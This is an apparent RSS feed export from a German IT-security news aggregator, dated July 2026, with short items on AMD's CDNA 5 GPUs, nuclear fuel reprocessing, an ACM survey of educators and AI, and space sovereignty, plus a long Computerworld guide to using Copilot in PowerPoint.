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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<item>
<title><![CDATA[Architektur Deep Dive: So sollen AMDs CDNA-5-GPUs Platzhirsch Nvidia Paroli bieten]]></title>
<description><![CDATA[AMD hat für Server die neue GPU-Architektur CDNA 5 vorgestellt. Sie bietet neben dem typischen „von allem mehr“ auch einige Überraschungen. So wird einiges am internen Aufbau an RDNA angeglichen, gleichzeitig werden Neuerungen wie der Infinity-Cache wieder aufgegeben.]]></description>
<link>https://tsecurity.de/de/3695657/it-nachrichten/architektur-deep-dive-so-sollen-amds-cdna-5-gpus-platzhirsch-nvidia-paroli-bieten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695657/it-nachrichten/architektur-deep-dive-so-sollen-amds-cdna-5-gpus-platzhirsch-nvidia-paroli-bieten/</guid>
<pubDate>Sun, 26 Jul 2026 15:15:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://pics.computerbase.de/1/2/3/9/7/2-5b3a06ae37478967/article-640x360.15571c11.jpg"><p>AMD hat für Server die neue GPU-Architektur CDNA 5 vorgestellt. Sie bietet neben dem typischen „von allem mehr“ auch einige Überraschungen. So wird einiges am internen Aufbau an RDNA angeglichen, gleichzeitig werden Neuerungen wie der Infinity-Cache wieder aufgegeben.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Promising Process For Nuclear Fuel Re-use and Disposal?]]></title>
<description><![CDATA[A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor."


The standard plan for spent nuclear f...]]></description>
<link>https://tsecurity.de/de/3695586/it-security-nachrichten/a-promising-process-for-nuclear-fuel-re-use-and-disposal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695586/it-security-nachrichten/a-promising-process-for-nuclear-fuel-re-use-and-disposal/</guid>
<pubDate>Sun, 26 Jul 2026 13:48:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor."


The standard plan for spent nuclear fuel is to wait it out. You pull the used bundles from a reactor, sit them in a pool of water for seven to ten years while the heat and radiation come down, seal them in concrete casks, and look for somewhere deep and geologically dull to leave them for the next hundred thousand years. Canada has been hunting for that burial site since the 1980s and still doesn't have one in the ground. 

A company in Saint John, New Brunswick thinks most of what makes that waste dangerous never needed to go in the ground at all. Moltex Energy Canada says a chemical process it calls WATSS can strip 90% of the long-lived material out of used Canada Deuterium Uranium [CANDU] fuel in 24 hours, and that the concentrated leftovers become fuel for a reactor it wants to build on the same site. The recovery step isn't a slide in a pitch deck anymore. In 2025, World Nuclear News reported that Canadian Nuclear Laboratories ran the process on real used fuel from a commercial Canadian reactor and confirmed the 90% figure. 

None of it is generating power yet. What exists is a validated chemical step and a reactor design waiting in line at a regulator. The rest is a 2030s problem. 

"The chemistry has a lab result behind it. The reactor does not exist..." the article points out. "Moltex is aiming to have its first WATSS and SSR-W units running at Point Lepreau by the early-to-mid 2030s... Not everyone buys the pitch. Critics have argued the reprocessing creates its own stream of byproducts, that the economics are unproven, and that a single site's stockpile is finite." 

But Moltex "isn't alone in trying to burn nuclear waste instead of bury it," the article notes, with Switzerland and Denmark "chasing the same goal a different way."


 Switzerland's Transmutex drives a subcritical reactor with a particle accelerator, feeding it spent fuel alongside thorium... Denmark's Copenhagen Atomics is building a thorium molten-salt reactor that fits inside a shipping container and runs on the leftovers from conventional plants. 


Thanks to long-time Slashdot reader kwelch007 for sharing the article.
<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/26/0456203/a-promising-process-for-nuclear-fuel-re-use-and-disposal?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI coding tutor paradox grows as educators scramble to rethink how they test real skills]]></title>
<description><![CDATA[An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say...]]></description>
<link>https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</guid>
<pubDate>Sun, 26 Jul 2026 09:10:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/ACM-Studie.png" class="attachment-full size-full wp-post-image" alt="Hands examine a neural AI circuit before lines of code using magnifying glasses and tools, symbolizing research and debugging." decoding="async" fetchpriority="high"></p>
<p>        An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say they lack proven examples for integrating AI into their courses.</p>
<p>The article <a href="https://the-decoder.com/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/">The AI coding tutor paradox grows as educators scramble to rethink how they test real skills</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The myth of space sovereignty.]]></title>
<description><![CDATA[This week on T-Minus: Space-Cyber Briefing: we dive deeper into space sovereignty. While achieving true space independence may be the goal, achieving this objective often proves significantly harder than many realize.]]></description>
<link>https://tsecurity.de/de/3695169/it-security-nachrichten/the-myth-of-space-sovereignty/</link>
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<pubDate>Sun, 26 Jul 2026 07:02:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This week on T-Minus: Space-Cyber Briefing: we dive deeper into space sovereignty. While achieving true space independence may be the goal, achieving this objective often proves significantly harder than many realize.]]></content:encoded>
</item>
<item>
<title><![CDATA[Fondazione Piemonte Innova und Confindustria Piemonte: Memorandum of Understanding ...]]></title>
<description><![CDATA[Digitale Innovation, Technologietransfer, künstliche Intelligenz und Cybersicherheit sind die Prioritätsbereiche für die Unterstützung von KMU.]]></description>
<link>https://tsecurity.de/de/3695014/it-security-nachrichten/fondazione-piemonte-innova-und-confindustria-piemonte-memorandum-of-understanding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695014/it-security-nachrichten/fondazione-piemonte-innova-und-confindustria-piemonte-memorandum-of-understanding/</guid>
<pubDate>Sun, 26 Jul 2026 06:34:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Digitale Innovation, Technologietransfer, künstliche Intelligenz und <b>Cybersicherheit</b> sind die Prioritätsbereiche für die Unterstützung von KMU.]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



